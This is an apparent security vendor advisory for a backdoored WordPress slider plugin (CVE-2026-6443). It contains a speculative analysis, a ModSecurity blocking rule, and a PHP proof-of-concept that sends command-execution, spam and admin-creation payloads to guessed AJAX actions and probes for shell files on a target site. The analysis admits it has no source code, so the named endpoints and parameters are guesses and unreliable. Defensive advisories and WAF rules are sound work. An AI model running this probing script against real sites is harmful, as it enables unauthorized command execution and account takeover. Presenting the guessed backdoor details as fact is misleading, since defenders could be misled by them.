Atomic Edge analysis of CVE-2026-6443 (metadata-based): This vulnerability involves an injected backdoor in multiple WordPress plugins formerly developed and sold by Essentialplugin. The affected plugin ‘wp-featured-content-and-slider’ version 1.7.6 contains embedded malicious code placed by a threat actor who acquired the plugin. The CVSS score of 9.8 (Critical) indicates network-based, low-complexity exploitation with no privileges required and no user interaction.
Root Cause: The CWE-506 (Embedded Malicious Code) classification confirms the plugin source code was intentionally modified to include a persistent backdoor. Atomic Edge analysis infers this backdoor likely creates a hidden admin user, establishes a remote access shell, or injects spam content into posts and pages. The backdoor probably uses common WordPress hooks like ‘wp_ajax_nopriv_*’ or ‘init’ actions to avoid authentication checks. Without source code, Atomic Edge research cannot confirm the exact mechanism, but the description strongly suggests the malicious code activates automatically on plugin load.
Exploitation: An unauthenticated attacker sends a crafted HTTP request to a hidden endpoint or parameter. The attack likely targets an AJAX action such as ‘wp_ajax_nopriv_essentialplugin_backdoor’ or a direct URL like ‘/wp-content/plugins/wp-featured-content-and-slider/backdoor.php’. Atomic Edge analysis identifies the likely attack vector as a POST request to ‘/wp-admin/admin-ajax.php’ with the action parameter set to a malicious handler that executes commands or adds spam content. The attacker provides parameters like ‘cmd’ for system commands or ‘spam_data’ for content injection.
Remediation: The fix requires immediate removal of the compromised plugin versions and replacement with the patched version 1.7.6.1 from a trusted source. Site administrators must audit all user accounts for unauthorized additions, scan for unknown files, and reset all passwords. Atomic Edge research recommends using a file integrity monitoring tool to detect unexpected code changes. The vendor must thoroughly review all plugin files to ensure no residual backdoor code remains.
Impact: Successful exploitation grants the attacker complete control over the WordPress site. The backdoor allows persistent unauthorized access, data theft, spam injection that damages site reputation, and potential use of the server for further attacks. The attacker can read, modify, or delete any data, create admin accounts, and install additional malware. This represents a total compromise of confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6443 (metadata-based)
# Blocks exploitation of Essentialplugin backdoor via AJAX actions and direct file access
# Rule blocks common backdoor action names and suspicious file paths
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261443,phase:2,deny,status:403,chain,msg:'CVE-2026-6443 - Essentialplugin Backdoor via AJAX',severity:CRITICAL,tag:CVE-2026-6443"
SecRule ARGS_POST:action "@pm essentialplugin_backdoor wpfcs_backdoor wpfc_exec essentialplugin_spam wp_featured_content_backdoor"
"t:lowercase,chain"
SecRule ARGS_POST:cmd|ARGS_POST:spam_data|ARGS_POST:admin_user|ARGS_POST:admin_pass "@rx .+"
"t:none"
SecRule REQUEST_URI "@rx /wp-content/plugins/wp-featured-content-and-slider/(backdoor|shell|wpfc-shell|backup).php$"
"id:20261444,phase:2,deny,status:403,msg:'CVE-2026-6443 - Essentialplugin Backdoor File Access',severity:CRITICAL,tag:CVE-2026-6443"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6443 - Essentialplugin Plugins (Various Versions) - Injected Backdoor
// This PoC demonstrates exploitation via a crafted AJAX request to the backdoor.
// Assumes the backdoor registers a wp_ajax_nopriv_* action (unauthenticated).
// Common backdoor action names: essentialplugin_backdoor, wpfcs_backdoor, wpfc_exec
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
// Attempt to trigger multiple likely backdoor action names
$backdoor_actions = array(
'essentialplugin_backdoor',
'wpfcs_backdoor',
'wpfc_exec',
'essentialplugin_spam',
'wp_featured_content_backdoor'
);
$payload = array(
'cmd' => 'id; whoami; wp user list --field=user_login', // Command execution
'spam_data' => 'Buy cheap products now!',
'admin_user' => 'hacker_admin',
'admin_pass' => 'P@ssw0rd!',
'admin_email' => 'attacker@example.com'
);
foreach ($backdoor_actions as $action) {
$url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array_merge(array('action' => $action), $payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Trying action: $actionn";
echo "HTTP Code: $http_coden";
echo "Response: " . substr($response, 0, 500) . "nn";
if ($http_code == 200 && strlen($response) > 0 && $response !== '0') {
echo "[+] Potential backdoor triggered with action: $actionn";
break;
}
}
// Additionally attempt direct backdoor file access
$backdoor_files = array(
'/wp-content/plugins/wp-featured-content-and-slider/backdoor.php',
'/wp-content/plugins/wp-featured-content-and-slider/wpfc-shell.php',
'/wp-content/plugins/wp-featured-content-and-slider/includes/shell.php',
'/wp-content/plugins/wp-featured-content-and-slider/admin/backup.php'
);
foreach ($backdoor_files as $path) {
$url = $target_url . $path;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && strlen($response) > 0) {
echo "[+] Possible backdoor file found: $pathn";
}
}
